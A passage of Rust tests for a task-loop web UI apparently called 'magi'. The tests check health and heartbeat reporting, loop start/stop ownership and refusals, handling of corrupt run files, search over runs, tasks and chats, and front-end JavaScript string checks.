19572            Timestamp::now() - jiff::SignedDuration::from_secs(60),
19573        );
19574        let stale = f.get("/api/health").await.json();
19575        assert_eq!(
19576            stale["daemon"]["running"], false,
19577            "a minute without a heartbeat is a dead daemon, not a busy one"
19578        );
19579        assert!(
19580            stale["daemon"]["stale_for_secs"]
19581                .as_i64()
19582                .is_some_and(|s| s >= 55),
19583            "staleness is reported so the UI can say how long: {stale}"
19584        );
19585
19586        write_daemon(f.home.path(), Timestamp::now());
19587        let fresh = f.get("/api/health").await.json();
19588        assert_eq!(fresh["daemon"]["running"], true);
19589        assert_eq!(fresh["daemon"]["idle"], false);
19590        assert_eq!(fresh["daemon"]["pid"], 4242);
19591        assert_eq!(fresh["daemon"]["completed"], 7);
19592        assert_eq!(
19593            fresh["daemon"]["current"][0]["task"],
19594            "20260902-140501-aaaa"
19595        );
19596        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
19597    }
19598
19599    #[tokio::test]
19600    async fn the_loop_is_not_running_until_something_starts_it() {
19601        let f = Fixture::start().await;
19602
19603        let view = f.get("/api/loop").await.json();
19604        assert_eq!(view["running"], false);
19605        assert_eq!(
19606            view["owned"], false,
19607            "nobody owns a loop that does not exist: {view}"
19608        );
19609        assert_eq!(view["stopping"], false);
19610        assert_eq!(view["last_error"], Value::Null);
19611        assert_eq!(view["daemon"]["running"], false);
19612        assert_eq!(
19613            view["repo"], "/repo/magi",
19614            "the repository a start would use, named before it is started"
19615        );
19616    }
19617
19618    #[tokio::test]
19619    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
19620        let f = Fixture::start().await;
19621
19622        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19623        assert_eq!(res.status, 200, "{}", res.body);
19624        let view = res.json();
19625        assert_eq!(view["running"], true);
19626        assert_eq!(
19627            view["owned"], true,
19628            "the loop the UI started is the UI's own to stop: {view}"
19629        );
19630        assert_eq!(
19631            view["merge"],
19632            Value::Null,
19633            "no override was given, so each repository's own config decides"
19634        );
19635
19636        // The same object from the route a waking phone polls first. Two
19637        // surfaces disagreeing about whether anything is running is exactly
19638        // the confusion this UI exists to remove.
19639        let health = f.get("/api/health").await.json();
19640        assert_eq!(health["loop"]["running"], true, "{health}");
19641        assert_eq!(health["loop"]["owned"], true, "{health}");
19642
19643        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19644    }
19645
19646    #[tokio::test]
19647    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
19648        let f = Fixture::start().await;
19649        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19650        assert_eq!(first.status, 200, "{}", first.body);
19651
19652        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19653        assert_eq!(
19654            again.status, 409,
19655            "two loops on one queue race for the same claims: {}",
19656            again.body
19657        );
19658        assert!(
19659            again.json()["error"]
19660                .as_str()
19661                .is_some_and(|e| e.contains("already running the loop")),
19662            "the refusal has to say why: {}",
19663            again.body
19664        );
19665        assert_eq!(
19666            f.get("/api/loop").await.json()["running"],
19667            true,
19668            "and the loop that was already running is untouched by it"
19669        );
19670
19671        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19672    }
19673
19674    #[tokio::test]
19675    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
19676        let f = Fixture::start().await;
19677        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19678
19679        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19680        assert_eq!(
19681            res.status, 200,
19682            "the answer must not wait for the loop: a run in flight is tens of \
19683             minutes and the operator is holding a phone: {}",
19684            res.body
19685        );
19686
19687        let view = settled(&f, |v| v["running"] == false).await;
19688        assert_eq!(view["owned"], false);
19689        assert_eq!(
19690            view["stopping"], false,
19691            "a loop that has stopped is not still stopping: {view}"
19692        );
19693        assert_eq!(
19694            view["last_error"],
19695            Value::Null,
19696            "a loop that was asked to stop did not fail: {view}"
19697        );
19698
19699        // Idempotent, because the operator cannot tell a slow stop from a lost
19700        // one and will press it again.
19701        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19702        assert_eq!(twice.status, 200, "{}", twice.body);
19703    }
19704
19705    #[tokio::test]
19706    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
19707        let f = Fixture::start().await;
19708        // How the operator has been doing it: a `magi serve` of their own,
19709        // heartbeat fresh, in the same home this UI reads.
19710        write_daemon(f.home.path(), Timestamp::now());
19711
19712        let view = f.get("/api/loop").await.json();
19713        assert_eq!(view["running"], false, "not in this process: {view}");
19714        assert_eq!(view["owned"], false, "and not this process's to control");
19715        assert_eq!(
19716            view["daemon"]["running"], true,
19717            "but a loop is alive somewhere, which is what the UI must say"
19718        );
19719        assert_eq!(view["daemon"]["pid"], 4242);
19720
19721        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
19722            let res = f.post("/api/loop", Some(body)).await;
19723            assert_eq!(
19724                res.status, 409,
19725                "neither button may pretend to work on someone else's loop: {}",
19726                res.body
19727            );
19728            assert!(
19729                res.json()["error"]
19730                    .as_str()
19731                    .is_some_and(|e| e.contains("4242")),
19732                "the refusal has to name the process the operator must go to: {}",
19733                res.body
19734            );
19735        }
19736        assert_eq!(
19737            f.get("/api/loop").await.json()["running"],
19738            false,
19739            "and the refusal started nothing"
19740        );
19741    }
19742
19743    #[tokio::test]
19744    async fn a_stale_status_file_is_not_a_foreign_owner() {
19745        let f = Fixture::start().await;
19746        write_daemon(
19747            f.home.path(),
19748            Timestamp::now() - jiff::SignedDuration::from_secs(60),
19749        );
19750
19751        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19752        assert_eq!(
19753            res.status, 200,
19754            "a daemon killed a minute ago must not lock the loop out of its \
19755             own home for good: {}",
19756            res.body
19757        );
19758        assert_eq!(res.json()["running"], true);
19759
19760        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19761    }
19762
19763    #[tokio::test]
19764    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
19765        let f = Fixture::start().await;
19766        let before = f.get("/api/health").await.json()["loop_rev"]
19767            .as_u64()
19768            .expect("a loop revision");
19769
19770        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19771
19772        let after = f.get("/api/health").await.json()["loop_rev"]
19773            .as_u64()
19774            .expect("a loop revision");
19775        assert!(
19776            after > before,
19777            "the loop is in-process state, so this counter is the only thing \
19778             that tells a second device the first one started it: {before} -> \
19779             {after}"
19780        );
19781
19782        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19783    }
19784
19785    #[tokio::test]
19786    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
19787        let f = Fixture::with_loop(launch_broken).await;
19788
19789        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19790        assert_eq!(
19791            res.status, 200,
19792            "starting it is not the failure: {}",
19793            res.body
19794        );
19795
19796        let view = settled(&f, |v| v["last_error"].is_string()).await;
19797        assert_eq!(
19798            view["running"], false,
19799            "a loop that died must not read as running, or the operator has \
19800             nothing to press: {view}"
19801        );
19802        assert_eq!(view["owned"], false);
19803        assert!(
19804            view["last_error"]
19805                .as_str()
19806                .is_some_and(|e| e.contains("read-only file system")),
19807            "the phone is where a loop that died at 3am is visible: {view}"
19808        );
19809
19810        // And it can be started again: the corpse was reaped, not left to
19811        // occupy the slot.
19812        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19813        assert_eq!(again.status, 200, "{}", again.body);
19814        assert!(
19815            again.json()["last_error"]
19816                .as_str()
19817                .is_none_or(|e| !e.contains("read-only file system")),
19818            "a fresh start does not keep showing why the last one died: {}",
19819            again.body
19820        );
19821    }
19822
19823    #[tokio::test]
19824    async fn a_newer_daemon_status_file_still_renders() {
19825        let f = Fixture::start().await;
19826        // A field this build has never heard of must not turn the status line
19827        // into a 500; that is the whole reason the reader is permissive.
19828        std::fs::write(
19829            f.home.path().join("daemon.json"),
19830            serde_json::json!({
19831                "schema": 2,
19832                "updated_at": Timestamp::now().to_string(),
19833                "idle": true,
19834                "surprise": { "nested": [1, 2, 3] },
19835            })
19836            .to_string(),
19837        )
19838        .expect("write daemon.json");
19839
19840        let health = f.get("/api/health").await;
19841
19842        assert_eq!(health.status, 200);
19843        assert_eq!(health.json()["daemon"]["running"], true);
19844    }
19845
19846    #[tokio::test]
19847    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
19848        let f = Fixture::start().await;
19849        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
19850        let broken = f.runs().join("20260902-140502-bad");
19851        std::fs::create_dir_all(&broken).expect("run dir");
19852        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
19853
19854        let list = f.get("/api/runs").await;
19855        let detail = f.get("/api/runs/20260902-140502-bad").await;
19856
19857        assert_eq!(list.status, 200);
19858        let listed = list.json();
19859        let ids: Vec<&str> = listed
19860            .as_array()
19861            .expect("an array")
19862            .iter()
19863            .map(|r| r["id"].as_str().expect("an id"))
19864            .collect();
19865        assert_eq!(
19866            ids,
19867            vec!["20260902-140501-good"],
19868            "one unreadable run must not cost the operator the whole history"
19869        );
19870        assert_eq!(detail.status, 500);
19871        assert!(
19872            detail.json()["error"]
19873                .as_str()
19874                .is_some_and(|e| e.contains("run.json")),
19875            "the failure names the file to look at: {}",
19876            detail.body
19877        );
19878        // A skipped run has to be countable somewhere, or the UI shows an
19879        // empty history with nothing to explain it - which is exactly what a
19880        // directory full of older-schema runs looks like.
19881        let health = f.get("/api/health").await;
19882        assert_eq!(health.json()["runs_unreadable"], 1);
19883    }
19884
19885    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
19886    #[tokio::test]
19887    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
19888        let f = Fixture::start().await;
19889        let runs = f.runs();
19890        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
19891        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
19892        // Text three levels down, in a shape no current RunState has: an older
19893        // schema must still search.
19894        let path = runs.join("20260902-140502-bbbb").join("run.json");
19895        let mut v: serde_json::Value =
19896            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19897        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
19898        std::fs::write(&path, v.to_string()).unwrap();
19899        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
19900        std::fs::write(
19901            runs.join("20260902-140503-cccc").join("run.json"),
19902            "{ not json",
19903        )
19904        .unwrap();
19905
19906        let res = f.get("/api/search?scope=runs&q=quokka").await;
19907        assert_eq!(res.status, 200, "{}", res.body);
19908        let v = res.json();
19909        assert_eq!(v["total"], 1, "{v}");
19910        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
19911        assert_eq!(v["hits"][0]["field"], "text");
19912        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
19913        let parts = v["hits"][0]["snippet"].as_array().unwrap();
19914        assert!(
19915            parts
19916                .iter()
19917                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
19918            "{v}"
19919        );
19920        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
19921        assert_eq!(
19922            flat, "The Quokka leaks across threads",
19923            "whitespace is collapsed"
19924        );
19925
19926        // Terms are ANDed, across different fields, case-insensitively.
19927        let both = f
19928            .get("/api/search?scope=runs&q=MOBILE%20quokka")
19929            .await
19930            .json();
19931        assert_eq!(both["total"], 1, "{both}");
19932        let neither = f
19933            .get("/api/search?scope=runs&q=quokka%20zebra")
19934            .await
19935            .json();
19936        assert_eq!(neither["total"], 0, "{neither}");
19937        // Everything in the task statement is reachable, not only the row text.
19938        let stmt = f
19939            .get("/api/search?scope=runs&q=mobile%20first")
19940            .await
19941            .json();
19942        assert_eq!(stmt["total"], 2, "{stmt}");
19943        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
19944        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
19945    }
19946
19947    #[test]
19948    fn snippet_ignores_terms_longer_than_the_field() {
19949        let terms = ["ok".to_owned(), "elephant".to_owned()];
19950        let parts = snippet_of("ok", &terms);
19951        assert_eq!(
19952            parts,
19953            vec![SnippetPart {
19954                text: "ok".to_owned(),
19955                hit: true
19956            }]
19957        );
19958    }
19959
19960    #[test]
19961    fn snippet_marks_matches_longer_than_the_window() {
19962        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
19963        let hit_len = |parts: &[SnippetPart]| -> usize {
19964            parts
19965                .iter()
19966                .filter(|p| p.hit)
19967                .map(|p| p.text.chars().count())
19968                .sum()
19969        };
19970        let total =
19971            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
19972
19973        let long = "a".repeat(120);
19974        let parts = snippet_of(&long, std::slice::from_ref(&long));
19975        assert!(hit_len(&parts) > 0, "{parts:?}");
19976        assert!(total(&parts) <= cap);
19977
19978        let ja = "あ".repeat(130);
19979        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
19980        assert!(hit_len(&parts) > 0, "{parts:?}");
19981        assert!(total(&parts) <= cap);
19982
19983        // A short hit, then one straddling the window's end.
19984        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
19985        let term = format!("ab{}", "c".repeat(100));
19986        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
19987        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
19988        assert!(total(&parts) <= cap);
19989
19990        // Only the head matches: not highlighted.
19991        let text = format!("{}z", "a".repeat(119));
19992        let parts = snippet_of(&text, &["a".repeat(120)]);
19993        assert_eq!(hit_len(&parts), 0, "{parts:?}");
19994    }
19995
19996    #[tokio::test]
19997    async fn search_caps_hits_and_snippet_length() {
19998        let f = Fixture::start().await;
19999        let runs = f.runs();
20000        for n in 0..(SEARCH_MAX_HITS + 5) {
20001            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
20002        }
20003        let v = f.get("/api/search?scope=runs&q=web").await.json();
20004        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
20005        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
20006        assert_eq!(v["truncated"], true);
20007        // Every listed run hit carries its list row for the page's filters.
20008        assert!(
20009            v["hits"]
20010                .as_array()
20011                .unwrap()
20012                .iter()
20013                .all(|h| h["run"]["status"] == "merged")
20014        );
20015
20016        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
20017        let parts = snippet_of(&long, &["needle".to_owned()]);
20018        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
20019        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
20020        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
20021    }
20022
20023    #[tokio::test]
20024    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
20025        let f = Fixture::start().await;
20026        let queue = f.queue();
20027        let mut t = Task::new(
20028            "short title".to_owned(),
20029            "line one\nthe hidden Armadillo detail".to_owned(),
20030            PathBuf::from("/repo/magi"),
20031            Source::Agent {
20032                run: "r1".to_owned(),
20033                node: "chat".to_owned(),
20034            },
20035        );
20036        t.last_error = Some("disk full on /tmp".to_owned());
20037        queue.put(&mut t).expect("file the task");
20038
20039        for (q, want) in [
20040            ("armadillo", 1),
20041            ("disk%20FULL", 1),
20042            ("chat", 1),
20043            ("queued", 1),
20044            ("short%20nothing", 0),
20045        ] {
20046            let v = f
20047                .get(&format!("/api/search?scope=tasks&q={q}"))
20048                .await
20049                .json();
20050            assert_eq!(v["total"], want, "{q}: {v}");
20051        }
20052        for bad in [
20053            "/api/search?scope=tasks&q=",
20054            "/api/search?scope=tasks&q=%20",
20055            "/api/search?scope=chats&q=",
20056            "/api/search?scope=chats&q=%20",
20057            "/api/search?scope=nope&q=a",
20058            "/api/search?q=a",
20059        ] {
20060            assert_eq!(f.get(bad).await.status, 400, "{bad}");
20061        }
20062    }
20063
20064    /// Write one conversation file the way the store reads it back.
20065    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
20066        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
20067            .expect("seat value");
20068        let turns: Vec<serde_json::Value> = turns
20069            .iter()
20070            .map(|(who, body)| {
20071                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
20072            })
20073            .collect();
20074        let doc = serde_json::json!({
20075            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
20076            "status": status, "turns": turns,
20077            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
20078            "seat": seat,
20079        });
20080        let dir = f.home.path().join("talks");
20081        std::fs::create_dir_all(&dir).expect("talks dir");
20082        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
20083    }
20084
20085    #[test]
20086    fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
20087        let mut talk: Talk = serde_json::from_value(serde_json::json!({
20088            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
20089            "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
20090            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
20091            "seat": crate::agent::SeatState::new("talk", "test", 1)
20092        })).unwrap();
20093        assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
20094        talk.title = Some(talk::ChatTitle {
20095            text: "最近の話題".into(),
20096            source: talk::TitleSource::Generated,
20097        });
20098        let doc = talk_search_doc(&talk);
20099        assert_eq!(doc["title"], "最近の話題");
20100        assert_eq!(doc["turns"][0]["operator"], "古い話題");
20101        talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
20102        assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
20103    }
20104
20105    #[test]
20106    fn chat_search_labels_external_turns_and_messages_without_operator_attribution() {
20107        let mut talk = talk::seeded_for_test("external", PathBuf::from("."));
20108        talk.title = Some(talk::ChatTitle {
20109            text: "Saved title".into(),
20110            source: talk::TitleSource::Manual,
20111        });
20112        talk.turns = serde_json::from_value(serde_json::json!([
20113            {
20114                "who": "operator", "sender": "external", "body": "External plain",
20115                "at": "2026-09-08T20:58:02Z"
20116            },
20117            {
20118                "who": "operator", "body": "External message",
20119                "at": "2026-09-08T20:58:03Z",
20120                "messages": [{
20121                    "sender": "external", "body": "External message", "attachments": []
20122                }]
20123            }
20124        ]))
20125        .unwrap();
20126        let doc = talk_search_doc(&talk);
20127        assert_eq!(doc["turns"][0]["external"], "External plain");
20128        assert_eq!(doc["turns"][1]["external"], "External message");
20129        assert!(doc["turns"][0].get("operator").is_none());
20130        assert!(doc["turns"][1].get("operator").is_none());
20131        let hit = search_chat(&search_terms("message"), &talk).unwrap();
20132        assert_eq!(hit.field, "external");
20133        let target = hit.target.unwrap();
20134        assert_eq!((target.turn, target.message), (1, 0));
20135    }
20136
20137    #[test]
20138    fn chat_search_targets_the_snippet_message_and_preserves_document_matching() {
20139        let talk: Talk = serde_json::from_value(serde_json::json!({
20140            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
20141            "status": "open", "title": {"text":"Saved title", "source":"manual"},
20142            "turns": [{"who":"operator", "body":"First message\n\nSearch 運用", "at":"2026-09-08T20:58:02Z",
20143                "messages":[{"body":"First message", "attachments":[], "reply":null},
20144                            {"body":"Search 運用", "attachments":[], "reply":null}]},
20145                {"who":"agent", "body":"Another term", "at":"2026-09-08T20:59:02Z"}],
20146            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:59:02Z",
20147            "seat": crate::agent::SeatState::new("talk", "test", 1)
20148        })).unwrap();
20149        let hit = search_chat(&search_terms("運用 Another"), &talk).unwrap();
20150        let target = hit.target.unwrap();
20151        assert_eq!((target.turn, target.message), (0, 1));
20152        assert_eq!(target.text, chat_text_key("Search 運用"));
20153        assert_eq!(
20154            hit.snippet,
20155            snippet_of("Search 運用", &search_terms("運用 Another"))
20156        );
20157        assert!(
20158            search_chat(&search_terms("Saved"), &talk)
20159                .unwrap()
20160                .target
20161                .is_none()
20162        );
20163        assert!(
20164            search_chat(&search_terms("ab12"), &talk)
20165                .unwrap()
20166                .target
20167                .is_none()
20168        );
20169        // All terms may still match across separate display rows.
20170        assert!(search_chat(&search_terms("message Search"), &talk).is_some());
20171        assert!(search_chat(&search_terms("messageSearch"), &talk).is_none());
20172    }
20173
20174    #[test]
20175    fn chat_search_targets_opener_derived_titles() {
20176        let mut talk: Talk = serde_json::from_value(serde_json::json!({
20177            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
20178            "status": "open", "turns": [
20179                {"who":"agent", "body":"Welcome", "at":"2026-09-08T20:58:01Z"},
20180                {"who":"operator", "body":"\n 運用について\nDetails", "at":"2026-09-08T20:58:02Z"},
20181                {"who":"agent", "body":"Latest reply", "at":"2026-09-08T20:59:02Z"}],
20182            "created_at": "2026-09-08T20:58:01Z", "updated_at": "2026-09-08T20:59:02Z",
20183            "seat": crate::agent::SeatState::new("talk", "test", 1)
20184        }))
20185        .unwrap();
20186        let terms = search_terms("運用");
20187        let hit = search_chat(&terms, &talk).unwrap();
20188        assert_eq!(hit.field, "title");
20189        assert_eq!(hit.snippet, snippet_of("運用について", &terms));
20190        let target = hit.target.unwrap();
20191        assert_eq!((target.turn, target.message), (1, 0));
20192        assert_eq!(target.text, chat_text_key(&talk.turns[1].body));
20193        // A blank first send can put the opener line in a later display row.
20194        talk.turns[1].messages = serde_json::from_value(serde_json::json!([
20195            {"body":"", "attachments":[], "reply":null},
20196            {"body":" 運用について\nDetails", "attachments":[], "reply":null}
20197        ]))
20198        .unwrap();
20199        let target = search_chat(&terms, &talk).unwrap().target.unwrap();
20200        assert_eq!((target.turn, target.message), (1, 1));
20201        assert_eq!(target.text, chat_text_key(" 運用について\nDetails"));
20202        talk.title = Some(talk::ChatTitle {
20203            text: "運用について".into(),
20204            source: talk::TitleSource::Manual,
20205        });
20206        assert!(search_chat(&terms, &talk).unwrap().target.is_none());
20207    }
20208
20209    #[tokio::test]
20210    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
20211        let f = Fixture::start().await;
20212        write_talk(
20213            &f,
20214            "20260901-000001-aaaa",
20215            "open",
20216            &[
20217                (
20218                    "operator",
20219                    "\n  Why does the Pangolin cache expire?\nsecond line",
20220                ),
20221                ("agent", "Because the TTL is thirty seconds."),
20222            ],
20223        );
20224        write_talk(
20225            &f,
20226            "20260901-000002-bbbb",
20227            "closed",
20228            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
20229        );
20230        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
20231
20232        let search = |q: &'static str| {
20233            let f = &f;
20234            async move {
20235                f.get(&format!("/api/search?scope=chats&q={q}"))
20236                    .await
20237                    .json()
20238            }
20239        };
20240
20241        let v = search("PANGOLIN").await;
20242        assert_eq!(v["scope"], "chats");
20243        assert_eq!(v["total"], 1, "{v}");
20244        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
20245        assert_eq!(v["hits"][0]["field"], "title");
20246        assert_eq!(v["unreadable"], 1, "{v}");
20247        let marked: Vec<&str> = v["hits"][0]["snippet"]
20248            .as_array()
20249            .unwrap()
20250            .iter()
20251            .filter(|p| p["hit"] == true)
20252            .map(|p| p["text"].as_str().unwrap())
20253            .collect();
20254        assert_eq!(marked, ["Pangolin"]);
20255
20256        // An agent turn, in a closed conversation.
20257        let v = search("zebra").await;
20258        assert_eq!(v["total"], 1, "{v}");
20259        assert_eq!(v["hits"][0]["field"], "agent");
20260        // Words may sit in different turns; all must be present.
20261        assert_eq!(search("pangolin%20thirty").await["total"], 1);
20262        assert_eq!(search("pangolin%20zebra").await["total"], 0);
20263        // Bookkeeping is not searched.
20264        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
20265            assert_eq!(search(q).await["total"], 0, "{q}");
20266        }
20267        // The first line only is the title; the second line is still a turn.
20268        assert_eq!(search("second").await["hits"][0]["field"], "operator");
20269        // Open conversations are listed before closed ones.
20270        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
20271
20272        let v = f.get("/api/search?scope=nope&q=a").await;
20273        assert_eq!(v.status, 400);
20274        assert!(
20275            v.body.contains("scope must be runs, tasks or chats"),
20276            "{}",
20277            v.body
20278        );
20279    }
20280
20281    #[test]
20282    fn a_question_card_links_a_task_id_to_the_task_page() {
20283        let start = APP_JS
20284            .find("function updateAskCard(")
20285            .expect("updateAskCard exists");
20286        let body = &APP_JS[start..];
20287        let body = &body[..body.find("\n}\n").expect("function end")];
20288        assert!(body.contains("question.run_is_task"));
20289        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
20290        assert!(body.contains("`#/runs/${question.run}`"));
20291        assert!(body.contains("\"task\" : \"run\""));
20292    }
20293
20294    #[test]
20295    fn plain_text_message_surfaces_go_through_linkify() {
20296        assert!(APP_JS.contains("function linkify("));
20297        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
20298        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
20299        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
20300        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
20301        assert!(!APP_JS.contains("innerHTML = text"));
20302    }
20303
20304    #[test]
20305    fn implementation_rate_views_keep_independent_samples() {
20306        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
20307            let a = stats::AgentStats {
20308                competitive_entered: competitive_n,
20309                competitive_wins: usize::from(competitive_n > 0),
20310                solo_entered: solo_n,
20311                solo_adopted: 2 * usize::from(solo_n > 0),
20312                ..Default::default()
20313            };
20314            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
20315            for (key, n, numerator) in [
20316                ("competitive_win_rate", competitive_n, a.competitive_wins),
20317                ("solo_adoption_rate", solo_n, a.solo_adopted),
20318            ] {
20319                if n == 0 {
20320                    assert!(v[key].is_null());
20321                } else {
20322                    assert_eq!(v[key]["denominator"], n);
20323                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
20324                }
20325            }
20326        }
20327        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
20328        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
20329        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
20330        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
20331    }
20332
20333    #[test]
20334    fn stats_bars_share_one_id_keyed_plan() {
20335        let start = APP_JS
20336            .find("function statsBarRows(")
20337            .expect("statsBarRows exists");
20338        let body = &APP_JS[start..];
20339        let body = &body[..body.find("\n}\n").expect("function end")];
20340        assert!(body.contains("statsBarPlan(rows)"));
20341        assert!(body.contains("statsAgentTone(row.agent)"));
20342        assert!(!body.contains("candTone(i)"));
20343        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
20344        for root in [
20345            "stats-agents-bars",
20346            "stats-solo-bars",
20347            "stats-reviewers-bars",
20348        ] {
20349            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
20350        }
20351    }
20352
20353    #[test]
20354    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
20355        let start = APP_JS
20356            .find("function renderStatsReviewerScatter(")
20357            .expect("renderStatsReviewerScatter exists");
20358        let body = &APP_JS[start..];
20359        let body = &body[..body.find("\n}\n").expect("function end")];
20360        assert!(body.contains("statsScatterPlan(reviewers)"));
20361        assert!(body.contains("statsAgentTone(d.agent)"));
20362        assert!(APP_JS.contains("function statsScatterPlan("));
20363        assert!(
20364            APP_JS.contains("d.submitted < STATS_LOW_N")
20365                || APP_JS.contains("r.submitted < STATS_LOW_N")
20366        );
20367        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
20368        assert!(APP_CSS.contains(".precision-scatter"));
20369    }
20370
20371    #[test]
20372    fn advisor_reflection_is_drawn_as_stacked_segments() {
20373        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
20374        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
20375        let html = include_str!("../assets/ui/index.html");
20376        assert!(html.contains("Approximate"));
20377        for label in ["reflected strongly", "faint", "no proposal"] {
20378            assert!(html.contains(label));
20379        }
20380        let css = include_str!("../assets/ui/app.css");
20381        for c in ["refl-strong", "refl-faint", "refl-absent"] {
20382            assert!(css.contains(&format!(".{c} {{")));
20383        }
20384    }
20385
20386    #[test]
20387    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
20388        assert!(APP_JS.contains("function statsDailyPlan("));
20389        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
20390        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
20391    }
20392
20393    #[test]
20394    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
20395        let start = APP_JS
20396            .find("function scheduleSearch(")
20397            .expect("scheduleSearch exists");
20398        let body = &APP_JS[start..];
20399        let body = &body[..body.find("\n}\n").expect("function end")];
20400        assert!(body.contains("s.seq += 1"));
20401    }
20402
20403    /// The dashboard reads every run's state itself rather than trusting a
20404    /// separately-maintained count, so an unreadable run must be counted the
20405    /// same way `/api/health` counts it - never silently dropped the way the
20406    /// CLI's own `stats::load_all` drops it.
20407    #[tokio::test]
20408    async fn stats_runs_unreadable_matches_health() {
20409        let f = Fixture::start().await;
20410        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
20411        let broken = f.runs().join("20260902-140502-bad");
20412        std::fs::create_dir_all(&broken).expect("run dir");
